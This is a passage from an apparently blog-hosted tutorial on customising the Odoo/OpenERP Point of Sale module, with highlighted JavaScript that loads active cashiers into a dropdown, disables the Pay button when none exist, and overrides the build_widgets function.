self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#AlertNoCashier</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">css</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">display</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">block</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">.gotopay-button</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">attr</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">disabled</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">disabled</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
</code></pre>
</div>
We first create an empty array<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e20919">
<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e20919" onclick="selectionCode('contenuCoded0e20919');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e20919"> <code class="javascript_keyword1">var</code> cashier_list <code class="javascript_operator">=</code> <code class="javascript_operator">[</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
</code></pre>
</div>
Then we make a query with the <b>fetch()</b> function that we seen earlier.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e20941">
<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e20941" onclick="selectionCode('contenuCoded0e20941');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e20941"> <code class="javascript_keyword1">var</code> loaded <code class="javascript_operator">=</code> self<code class="javascript_operator">.</code><code class="javascript_function">fetch</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">pos.cashier</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code><code class="javascript_operator">[</code><code class="javascript_literal1">'</code><code class="javascript_literal1">cashier_name</code><code class="javascript_literal1">'</code><code class="javascript_operator">]</code><code class="javascript_operator">,</code><code class="javascript_operator">[</code><code class="javascript_operator">[</code><code class="javascript_literal1">'</code><code class="javascript_literal1">pos_config_id</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code><code class="javascript_literal1">'</code><code class="javascript_literal1">=</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> config_id<code class="javascript_operator">]</code><code class="javascript_operator">,</code> <code class="javascript_operator">[</code><code class="javascript_literal1">'</code><code class="javascript_literal1">active</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">=</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code><code class="javascript_literal1">'</code><code class="javascript_literal1">true</code><code class="javascript_literal1">'</code><code class="javascript_operator">]</code><code class="javascript_operator">]</code>)
</code></pre>
</div>
Here, we will perform a query (SELECT) on <b>pos_cashier</b> table, we will retrieve the field <b>cashier_name</b> of the cashiers who belong to the Point Of Sale which <b>pos_config_id</b> is equal to <b>config_id</b> we have passed as a parameter AND that are active!<br /><br />
Then we will create options of the drop down list with the function that is performed after the query.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e21049">
<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e21049" onclick="selectionCode('contenuCoded0e21049');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e21049">
<code class="javascript_operator">.</code><code class="javascript_function">then</code>(<code class="javascript_keyword1">function</code>(cashiers)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">for</code>(<code class="javascript_keyword1">var</code> i <code class="javascript_operator">=</code> <code class="javascript_digit">0</code><code class="javascript_operator">,</code> len <code class="javascript_operator">=</code> cashiers<code class="javascript_operator">.</code>length<code class="javascript_operator">;</code> i <code class="javascript_operator"><</code> len<code class="javascript_operator">;</code> i<code class="javascript_operator">+</code><code class="javascript_operator">+</code>)<code class="javascript_operator">{</code>
cashier_list<code class="javascript_operator">.</code><code class="javascript_function">push</code>(cashiers<code class="javascript_operator">[</code>i<code class="javascript_operator">]</code><code class="javascript_operator">.</code>cashier_name)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_keyword1">if</code>(cashier_list<code class="javascript_operator">.</code>length <code class="javascript_operator">></code> <code class="javascript_digit">0</code>)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">for</code>(<code class="javascript_keyword1">var</code> i <code class="javascript_operator">=</code> <code class="javascript_digit">0</code><code class="javascript_operator">,</code> len <code class="javascript_operator">=</code> cashier_list<code class="javascript_operator">.</code>length<code class="javascript_operator">;</code> i <code class="javascript_operator"><</code> len<code class="javascript_operator">;</code> i<code class="javascript_operator">+</code><code class="javascript_operator">+</code>)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> content <code class="javascript_operator">=</code> self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#cashier-select</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">html</code>()<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> new_option <code class="javascript_operator">=</code> <code class="javascript_literal1">'</code><code class="javascript_literal1"><option</code><code class="javascript_literal1"> </code><code class="javascript_literal1">value="</code><code class="javascript_literal1">'</code> <code class="javascript_operator">+</code> cashier_list<code class="javascript_operator">[</code>i<code class="javascript_operator">]</code> <code class="javascript_operator">+</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">"></code><code class="javascript_literal1">'</code> <code class="javascript_operator">+</code> cashier_list<code class="javascript_operator">[</code>i<code class="javascript_operator">]</code> <code class="javascript_operator">+</code> <code class="javascript_literal1">'</code><code class="javascript_literal1"></option>\n</code><code class="javascript_literal1">'</code><code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#cashier-select</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">html</code>(content <code class="javascript_operator">+</code> new_option)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#AlertNoCashier</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">css</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">display</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">none</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#cashier-select</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>selectedIndex <code class="javascript_operator">=</code> <code class="javascript_digit">0</code><code class="javascript_operator">;</code>
globalCashier <code class="javascript_operator">=</code> cashier_list<code class="javascript_operator">[</code><code class="javascript_digit">0</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code><code class="javascript_function">cashier_change</code>(globalCashier)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code> <code class="javascript_keyword1">else</code><code class="javascript_operator">{</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">if</code><code class="javascript_comment2"> </code><code class="javascript_comment2">there</code><code class="javascript_comment2"> </code><code class="javascript_comment2">are</code><code class="javascript_comment2"> </code><code class="javascript_comment2">no</code><code class="javascript_comment2"> </code><code class="javascript_comment2">cashier</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#AlertNoCashier</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">css</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">display</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">block</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">.gotopay-button</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">attr</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">disabled</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">disabled</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
</code></pre>
</div>
I let you dissect the function above.<br />
Note that if there is no cashier, we display an error message in the <b><div id="AlertNoCashier"></div></b> tag and we disable the <b>Pay </b>button. <br />
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_alert_no_cashier.jpg"><img alt="An error message is displayed and the Pay button is inactive" class="ImgCliquable" height="325px" src="./images/pos_alert_no_cashier.jpg" width="265px" /></a><figcaption>An error message is displayed and the Pay button is inactive</figcaption></figure>
<br />
You also see that once the list of the cashiers is built, it stores the name of the first cashier in the <b>globalCashier</b> global variable then we call <b>cashier_change()</b> function, passing it the name of the first cashier of the list.<br /><br />
Then we will add a function to be called when loading the module and call the <b>cashier_change() </b>function to initialize the Point Of Sale.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e21487">
renderElement()<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e21487" onclick="selectionCode('contenuCoded0e21487');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e21487">
<code class="javascript_label">renderElement</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">_super</code>()<code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#cashier-select</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">change</code>(<code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> name <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>value<code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code><code class="javascript_function">cashier_change</code>(name)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
</code></pre>
</div>
And finally, we'll copy/paste and modify the original <b>build_widgets()</b> function, which is in <b>widgets.js</b> file of <b>point_of_sale </b>module.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e21586">
build_widgets()<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e21586" onclick="selectionCode('contenuCoded0e21586');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e21586"> <code class="javascript_label">build_widgets</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">--------</code><code class="javascript_comment2"> </code><code class="javascript_comment2"> </code><code class="javascript_comment2">Screens</code><code class="javascript_comment2"> </code><code class="javascript_comment2">---------</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>product_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ProductScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>product_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>receipt_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ReceiptScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>receipt_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>payment_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">PaymentScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>payment_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>welcome_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">WelcomeScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>welcome_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>client_payment_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ClientPaymentScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>client_payment_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_invite_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ScaleInviteScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_invite_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ScaleScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">--------</code><code class="javascript_comment2"> </code><code class="javascript_comment2"> </code><code class="javascript_comment2">Popups</code><code class="javascript_comment2"> </code><code class="javascript_comment2">---------</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>help_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">HelpPopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>help_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ErrorPopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_product_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ProductErrorPopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_product_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_session_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ErrorSessionPopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_session_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>choose_receipt_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ChooseReceiptPopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>choose_receipt_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_negative_price_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ErrorNegativePricePopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_negative_price_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">--------</code><code class="javascript_comment2"> </code><code class="javascript_comment2"> </code><code class="javascript_comment2">Misc</code><code class="javascript_comment2"> </code><code class="javascript_comment2">---------</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>notification <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">SynchNotificationWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>notification<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightheader</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>username <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">UsernameWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>username<code class="javascript_operator">.</code><code class="javascript_function">replace</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">.placeholder-UsernameWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>action_bar <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ActionBarWidget</code>(<code class="javascript_literal2">this</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>action_bar<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">"</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1"> </code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">"</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>left_action_bar <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ActionBarWidget</code>(<code class="javascript_literal2">this</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>left_action_bar<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">"</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1"> </code><code class="javascript_literal1">#leftpane</code><code class="javascript_literal1">"</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>gotopay <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">GoToPayWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">We</code><code class="javascript_comment2"> </code><code class="javascript_comment2">add</code><code class="javascript_comment2"> </code><code class="javascript_comment2">here</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">creation</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>gotopay<code class="javascript_operator">.</code><code class="javascript_function">replace</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#placeholder-GoToPayWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">of</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">widget</code><code class="javascript_comment2"> </code><code class="javascript_comment2">that</code><code class="javascript_comment2"> </code><code class="javascript_comment2">displays</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">Pay</code><code class="javascript_comment2"> </code><code class="javascript_comment2">button</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>paypad <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">PaypadWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>paypad<code class="javascript_operator">.</code><code class="javascript_function">replace</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#placeholder-PaypadWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>numpad <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">NumpadWidget</code>(<code class="javascript_literal2">this</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>numpad<code class="javascript_operator">.</code><code class="javascript_function">replace</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#placeholder-NumpadWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>order_widget <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">OrderWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>order_widget<code class="javascript_operator">.</code><code class="javascript_function">replace</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#placeholder-OrderWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>onscreen_keyboard <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">OnscreenKeyboardWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">keyboard_model</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">simple</code><code class="javascript_literal1">'</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>onscreen_keyboard<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">"</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1"> </code><code class="javascript_literal1">#content</code><code class="javascript_literal1">"</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>close_button <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">HeaderButtonWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code>
<code class="javascript_label">label</code>: <code class="javascript_function">_t</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">Close</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">,</code>
<code class="javascript_label">action</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code> self<code class="javascript_operator">.</code><code class="javascript_function">try_close</code>()<code class="javascript_operator">;</code> <code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>close_button<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightheader</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>client_button <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">HeaderButtonWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code>
<code class="javascript_label">label</code>: <code class="javascript_function">_t</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">Self-Checkout</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">,</code>
<code class="javascript_label">action</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code> self<code class="javascript_operator">.</code>screen_selector<code class="javascript_operator">.</code><code class="javascript_function">set_user_mode</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code> <code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
